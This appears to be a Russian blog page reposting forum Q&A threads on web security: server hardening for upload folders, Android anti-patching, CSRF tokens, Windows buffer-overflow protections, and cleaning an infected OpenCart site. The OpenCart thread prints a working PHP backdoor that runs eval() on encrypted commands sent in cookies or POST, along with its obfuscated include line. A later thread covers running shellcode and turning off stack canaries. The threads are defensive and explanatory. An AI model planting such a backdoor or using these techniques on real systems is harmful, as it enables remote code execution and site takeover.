папкам и отключил register_globals через .htaccess.
С тех пор проблемы со взломом не возникали. Скоро будем переезжать на новый хостинг. 


Спасибо всем за помощь. С наступающим вас!
    


Ответы

Ответ 1



Можно попробовать перекрыть вот этот вектор атаки: Выглядит это как добавление php файлов, архивов и целых папок в корни сайтов и в директории типа images. Но для этого необходима возможность создавать на сервере новых пользователей и настраивать веб-сервер, т.е. эта инструкция - не для шаред-хостинга. 1. Разделяем пользователя-владельца сайта и пользователя от которого работает веб-сервер. Второму пользователю запрещается доступ на запись во все директории кроме тех куда пользователи могут загружать файлы. В UNIX-подобных ОС без использования ACL такого поведения можно достигнуть включив обоих пользователей в одну группу, далее первый пользователь делается владельцем файлов и директорий, и права на файлы устанавливаются 640 (740 на директории или 750 если важен листинг директории). 2. В тех директориях, куда разрешается загрузка пользовательских файлов - запрещаем запуск любых скриптов на уровне веб-сервера. В Apache для этого надо прописать примерно следующее (только изучите свой конфиг чтобы увидеть реальные типы возможных скриптов - ну или выключите все что не используете): RemoveHandler .php .phtml .php3 RemoveType .php .phtml .php3 AllowOverride None Также конфиг выше отключает поддержку .htaccess в этих директориях, потому что в противном случае при наличии дыр злоумышленник может загрузить этот файл и разрешить самому себе запускать скрипты. При использовании Nginx надо закрыть директории со статикой от поиска в них скриптов через использование ^~: location ^~ /uploads/ { try_files $uri =404; } Также в случае использования сайтом паттерна Front Controller можно отказаться от популярного location ~* \.php(/|$) в пользу непосредственного направления нужных маршрутов на фронт-контроллер (да, для этого придется внимательно изучать используемую CMS): location / { fastcgi_pass 127.0.0.1:9000; fastcgi_param SCRIPT_FILENAME /path/to/index.php; fastcgi_param PATH_INFO $uri; } Если у вас внезапно Windows и IIS - надо убрать все обработчики кроме статических файлов и заблокировать конфигурацию от изменений: Важно сделать это именно через location в файле более высокого уровня, чтобы злоумышленник не мог обойти ограничение через замену файла web.config в доступной для записи папке. 3. После закрытия папок куда пользователи могут загружать файлы от загрузки туда серверных скриптов надо закрыть их от загрузки html-страниц. Это уже атака не на ваш сервер, а на ваших пользователей - но это же не означает что от нее не надо защищаться? В Apache это делается через RemoveType .html (полный список типов уточните в своем конфиге), в nginx надо будет явно перечислить разрешенные к загрузке типы файлов (types { ... }), а в IIS это делается настройкой system.webServer/staticContent по аналогии со списком обработчиков (там можно как удалить несколько типов так и полностью составить список с нуля). Если веб-сервер настроен правильно - то злоумышленнику будет намного труднее пользоваться имеющимися дырами. А дыр связанных с загрузкой пользовательских файлов можно будет и вовсе не бояться.

среда, 27 ноября 2019 г.

Защита своего приложения

#java #android #google_play #защита #реклама


Здравствуйте.Имеется приложение с встроенными покупками, рекламой.С помощью Lucky
Patcher его можно подправить.Например удалить или отключить рекламные активити и пользоваться
приложением.Отключил активити через Lucky Patcher, в своем приложении проверяю на доступность
этой активити

PackageInfo pis = getPackageManager().getPackageInfo (getPackageName(), PackageManager.GET_ACTIVITIES);
pis.activities[3].isEnabled();


Получается активити всегда включена.Может кто знает как это дело проверить, и как
можно защитить свое приложение от подобных программ?
    


Ответы

Ответ 1



Самый лучший способ: перестать страдать фигней и делать качественное приложение. Чтобы при попытке пропатчить его, пользователя останавливала не защита, а его совесть, его уважение к вам, его желание вас отблагодарить. И если он все равно решил вылечить приложение от жадности, то никакой защитой его не вернуть, автор приложения просто сделает хуже себе же. Мой ответ на подобный вопрос: https://stackoverflow.com/questions/47283143/. И если пользователь захочет вылечить приложение от жадности, он это всегда сделает. Если не Фридомом или Лаки Патчером, то АПКТулом и ручной правкой. Самое лучшее, что вы можете сделать - это поставить себя на место человека с ЛакиПатчером и подумать, что можно сделать с приложением дальше, с позиции именно пользователя, который является самым главным человеком в деле разработки приложений.

Ответ 2



не знаю,может бредовая идея.. Но что если проверять при каждом запуске вашего приложения установлен ли Lucky Patcher или нет? если установлен то приложение будет показывать что-то типа "удалите Lucky Patcher и переустановите приложение". Переустановить ибо юзер может скачать отключить рекламу и удалить, либо копай в сторону сертификатов.

Ответ 3



Я защищал свое приложение и от Freedom, и от Lucky Patcher. Сначала проверял установленные пакеты на устройстве пользователя. В итоге перешел на использование Proguard совместо с Android Billing Library, после этого мое приложение не поддавалось на взлом с помощью Lucky Patcher. Тут можешь изучить, как встроить в приложение эту библиотеку. Вот можешь скачать мое приложение и попробовать на нем LuckyPatcher.

вторник, 26 ноября 2019 г.

Как удалить вредоносный код из сайта


Здравствуйте. Недавно начал замечать, что при открытии моего сайта идет редирек
на какой то рекламный сайт. Начал смотреть свой код, в index.php нашел строку такого вида:

/*1d3ec*/

@include "\x2fhom\x65/ab\x6din/\x64oma\x69ns/\x68***\x61**\x65/pu\x62lic\x5fhtm\x6c/vq\x6dod/\x76qca\x63he/\x66avi\x63on_\x3786a\x34f.i\x63o";

/*1d3ec*/


когда убрал лишнее, получился путь к какому то файлу:

home/admin/domains/домен_сайта/public_html/vqmod/vqcache/favicon_786a4f.ico


Нашел этот файл, открываю его, а там:



Ну ладно думаю, код удалил из index.php, файл тоже.. на следующий день появился новы
код в этом же стиле и новый файл, только в другой папке. Как очистить сайт от этой заразы?

Движок: Опенкарт 2.1.0.1

Из модулей установлены только: Marketplace, Ajax Product Page Loader, [OCJazz] SeoPro, uLogin - панель.
Модификаторы: Local copy OCMOD by iSenseLabs, Easy Blog Simple for oc2011+.

Пароль к хостингу изменил, атрибуты для файла index.php сделал "только чтение", не помогло. Возможно кто то сталкивался с таким. Спасибо что дочитали до конца!

UPD: Вирус до сих пор остался, чистил уже много раз. Решил посмотреть что кроетс
внутри вредоносного кода, прошу помощи тех кто сможет понять где дыра из кода ниже, так как сам знаком с PHP не более года.

@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);


if(!defined("PHP_EOL"))
{
    define("PHP_EOL", "\n");
}

if(!defined("DIRECTORY_SEPARATOR"))
{
    define("DIRECTORY_SEPARATOR", "/");
}

if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18'))
{
define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1);

$data = NULL;
$data_key = NULL;

$GLOBALS['cs_auth'] = 'aad641a4-4dd3-47a3-981c-7dfb1725ccd9';
global $cs_auth;


if (!function_exists('file_put_contents'))
{
    function file_put_contents($n, $d, $flag = False)
    {
        $mode = $flag == 8 ? 'a' : 'w';
        $f = @fopen($n, $mode);
        if ($f === False)
        {
            return 0;
        }
        else
        {
            if (is_array($d)) $d = implode($d);
            $bytes_written = fwrite($f, $d);
            fclose($f);
            return $bytes_written;
        }
    }
}

if (!function_exists('file_get_contents'))
{
    function file_get_contents($filename)
    {
        $fhandle = fopen($filename, "r");
        $fcontents = fread($fhandle, filesize($filename));
        fclose($fhandle);

        return $fcontents;
    }
}
function cs_get_current_filepath()
{
    return trim(preg_replace("/\(.*\$/", '', __FILE__));
}

function cs_decrypt_phase($data, $key)
{
    $out_data = "";

    for ($i=0; $i$pcontent)
    {
        if ($name)
        {
            if (strcmp($name, $pname) == 0)
            {
                eval($pcontent);
                break;
            }
        }
        else
        {
            eval($pcontent);
        }
    }
}

foreach ($_COOKIE as $key=>$value)
{
    $data = $value;
    $data_key = $key;
}

if (!$data)
{
    foreach ($_POST as $key=>$value)
    {
        $data = $value;
        $data_key = $key;
    }
}

$data = @unserialize(cs_decrypt(base64_decode($data), $data_key));

if (isset($data['ak']) && $cs_auth==$data['ak'])
{
    if ($data['a'] == 'i')
    {
        $i = Array(
            'pv' => @phpversion(),
            'sv' => '2.0-1',
            'ak' => $data['ak'],
        );
        echo @serialize($i);
        exit;
    }
    elseif ($data['a'] == 'e')
    {
        eval($data['d']);
    }
    elseif ($data['a'] == 'plugin')
    {
        if($data['sa'] == 'add')
        {
            cs_plugin_add($data['p'], $data['d']);
        }
        elseif($data['sa'] == 'rem')
        {
            cs_plugin_rem($data['p']);
        }
    }
    echo $data['ak'];

}

cs_plugin_load();
}


UPD 2:
Посмотрел только что логи по одному из сайтов и вот что там


    


Ответы

Ответ 1



Начнем с простых истин. Вирус - это какая-то программа, которая где-то находитс и делает что-то такое, что приводит к ее размножению. Каким-то образом вирус попадает к вам на сервер. Это может быть дырка в используемо софте на сервере (и далеко не факт, что виноват Опенкарт, тем более, совершенно не важно лицензионные копии ли там используются), софте хостера, вашем хосте, откуда вы управляете сайтом. И используя эту дырку, вредоносный код получает доступ туда, куда по идее, иметь доступ не должен. И, получив доступ, вирус, как правило, размножается дальше. Ему не важно, где и какими лицензиями вы работаете, сколько сайтов хостите и т.д., он будет рассеивать себя везде, куда сможет дотянуться. Поэтому если у вас только 1 дырявый файлик, то под угрозой все, что есть на сервере вместе взятое. Как быть: починить последствия, сделать бекап, если часто повторяется - накатыват бекап автоматически, хоть каждый час. В деле поиска измененных файлов хорошую помощь сыграют утилиты find, grep, mc. Но это не лечение болезни, а лечение симптома. Как ловить: для начала попробовать локализовать проблему. Выключить на сайте все кроме, скажем, веб-сервера. Т.е. если есть ФТП-сервер - затушить его так, что даже в не сможете войти, аналогично с почтой, ssh, прочими сервисами, что слушают не 127.0.0.1. Если чудеса продолжаются - тушим веб-сервер (сайт будет лежать), но включаем FTP и все остальное и снова ждем чудес. Если и после этого чудеса продолжаются, то скорее всего виноват или кривой хостер, или у вас комплексная проблема. Обнаружив источник проблемы, пытаемся локализовать проблему более точно. Если чудес при включенном веб-сервере, то настраиваем веб-сервер на ведение подробнейших лого и пишем их куда-то в нестандартное место, а лучше сразу сливать на удаленный хост. Когда начнутся чудеса, то смотреть логи, где-то там будет что-то интересное и необычное. Вот это необычное и есть дырка. Если дырка за пределами веб-сервера, то можно попробовать использовать тяжелую артилери вроде tcpdump, рано или поздно животинка попадется. Тут главное запастись большим объемом диска. Если и тут животинка не попадется, то вас имеет хостер, ну или где-то на предыдущих пунктах она прошла незамеченной. А найдя дырку, уже известно что исправлять/обновлять и никакого гадания на открыто гуще. Как правило, хорошим тоном будет сообщить авторам о дырке в их софте, они эт постараются починить (если авторы являются нашими соотечественниками, то кроме хамства и угроз в ответ ничего не получите) в кратчайшие сроки и выслать вам исправленную версию. Конечно, такое сафари плохо совместимо с нормальной работой сайта, но это весел и даст результат.

Ответ 2



Вообще, причиной всего этого является 100% не этот найденный вами файл. С подобным скриптами сталкивался не раз, но на Wordpress (отчего его и недолюбливаю). Суть та примерно такая - один раз находится дырка в вашем сайте (скорее всего просто подобрал ftp пароль), затем заливается обычный файл, предоставляющий доступ к редактировани файлов (есть какой-то легковесный редактор файлов, там буквально 40-50 строчек, даже пароля не просит), а затем уже все "грязные" скрипты заливаются через него, так что искать вам надо именно такой файл. Открывать AccessLog и смотреть к каким файлам обращаются. Антивирусы хостингов (тем более Касперского, т.к. он не ориентирован на php) этот файл не распознают как вирусный, т.к. он вполне логичен - т.к. там никаких кракозябр, preg_replace и прочего.

Ответ 3



Думаю, первое, что нужно сделать на время ремонта - это просканировать сканером уязвимости, хотя бы тулзой Nikto. https://www.youtube.com/watch?v=U9FQlZDtPV4 Далее сменить все ключи, абсолютно все управляющие ключи. Написать хостеру о проблем если хостинг, если VDS просканировань систему и понять насколько все плохо. Если руткит или червь, менять сервер. В этом помогут логи, и команды grep,find и top. После переезда и закрытия сайта начать чистить код, в идеале сделать образ и снимо состояния, провести скан уязвимостей, портировать образ на локаль и попробовать вытащит данные, после чистки закрыть уязвимость которую выдал CVE. Все это нужно сделать обязательно. Так как у вас простая проблема, вы чистите вирус, но не закрываете уязвимость. После того, как вы проделаете все это, советую поставить IDS/IPS. Самая известная: https://www.mcafee.com/ru/products/network-security-platform.aspx. Эта система позволит вам отследить, сделал ли это инсайдер. Так же советую регулярно делать обновления систем. Если система свежая, то советую написать об уязвимости её авторам.

Ответ 4



Пока лучшая, на мой взгляд, статья по лечению на хабре https://habrahabr.ru/post/188878/ С вероятностью 90% это заражение на уровне эксплуатации известных дырок в CMS. Есл CMS позволяет то лучше "экспорт всего" -> "новая установка cms со всеми патчами безопасности" -> "импорт всего". Но к сожалению такое редко возможно. Обычно я делаю так: Получение ssh доступа Смена всех остальных доступов (и временный бан всех привелигированых пользователей) Бекап логов и утягивание их к себе для анализа Весь сайт бекапим (обязательно что бы сохранялись даты и права) и желательно запихиваем в GIT Поиск shell сканерами и антивирусами в автоматическом режиме (только список shell или зараженных файлов) Поиск подозреваемых на shell по статье на хабре (только список) Поиск менявшихся файлов по дате, по логам (get запросы к shell остаются - надо искать по доступу к ним и по ip туда ходившим) Поиск различий между чистой CMS (давними копиями) и текущей версией Поиск точки заражения (к этому времени у нас полно информации и сделать это проще) Чистка с проверкой и фиксацией в GIT (или да же замена ядра CMS на не зараженное) Исправление уязвимости (обновлением CMS или bug fix) Правильная настройка логирования, прав на файлы и папки, бекапы, обновление ПО (если vps или железка), настройка автоматического сканера или антивируса. Смена всех доступов. Наблюдение за пациентом в течении некоторого времени (за 1 раз могли не все вычистить, или не было логов или не все нашли).

пятница, 21 июня 2019 г.

CSRF-токен в куках

почему некоторые сайты хранят CSRF-токен в куках?
Ведь если отправить, к примеру, GET-запрос - или я что-то не понимаю??


Ответ

Само по себе это действительно бесполезно, если сервер помнит соответствие токен-пользователь и проверяет только его.
Но в сочетании с передачей такого же токена в параметрах это становится быстрым и простым способом защиты от CSRF: вы ставите пользователю в куки совершенно случайный токен и проверяете, что в параметрах запроса впоследствии приходит точно такой же. Проверяется соответствие запрос-кука
Потенциальный атакующий не сможет достать его из-за Same Origin Policy (можно ещё досыпать сверху HttpOnly, чтобы не получить дыр из-за JS), а потому не сможет его продублировать в запросе. И нет необходимости запоминать что-либо на сервере.

воскресенье, 14 апреля 2019 г.

Есть ли в Windows на уровне ОС какая-либо защита от переполнения буфера?

Добрый день! У меня возникла проблема при реализации переполнения буфера. Если я делаю прямо в программе так: char buffer[4]; strcpy(buffer, "AAAA\xf9\xc0_и.т.д._мой_шеллкод_"); То шеллкод выполняется и все работает. Если же я пишу в программе char buffer[4]; strcpy(buffer, argv[1]); И пытаюсь подать программе на вход шеллкод, то программа крашится. Отсюда у меня возникли мысли, что возможно эту проблему как-то контролирует сама ОС? (Win 8.1) Подскажите, так ли это? Если так, то возможно ли отключить этот контроль?


Ответ

Такими вещами занимается пара из ОС и компилятора. Например, Visual Studio содержит ключ /GS (по умолчанию включён), который активизирует т. н. stack canary: в определённые места в стеке записывается случайное число, и если впоследствии это число оказывается затёрто, детектируется stack smash. Чтобы отключить, попробуйте ключ /GS- Кроме того, в отладочном режиме Visual Studio вставляет дополнительные проверки границ массивов, так что вам, возможно, придётся переключиться в Release Mode (или поискать, как это отключается в свойствах проекта). По поводу разницы в поведении Release и Debug Mode. Для начала: выход за границу выделенной памяти есть undefined behaviour. Убедитесь, что вы в курсе этого понятия, оно отвечает за 95% проблем в безопасности; вы, как будущий специалист по software security, должны это особенно отчётливо понимать. Undefined behaviour значит, что компилятор не имеет никаких обязательств в этой ситуации, и любое поведение программы правильно. Теперь, в случае отладочного режима, компилятор специально для разработчиков вставляет проверки на затирание памяти для того, чтобы сообщить об ошибке как только она случится (иначе найти проблему будет сложнее). Такой контроль не требуется по стандарту, и разумеется отнимает время пробега программы. В случае release-режима, такие проверки не вставляются для ускорения работы программы, и вся безопасность держится на stack canaries, ASLR, NX-битах и тому подобных менее надёжных вещах. Которые тоже, строго говоря, не требуются стандартом, и вставляются исключительно по доброй воле разработчиков компилятора (и к тому же отключаются соответствующими ключами).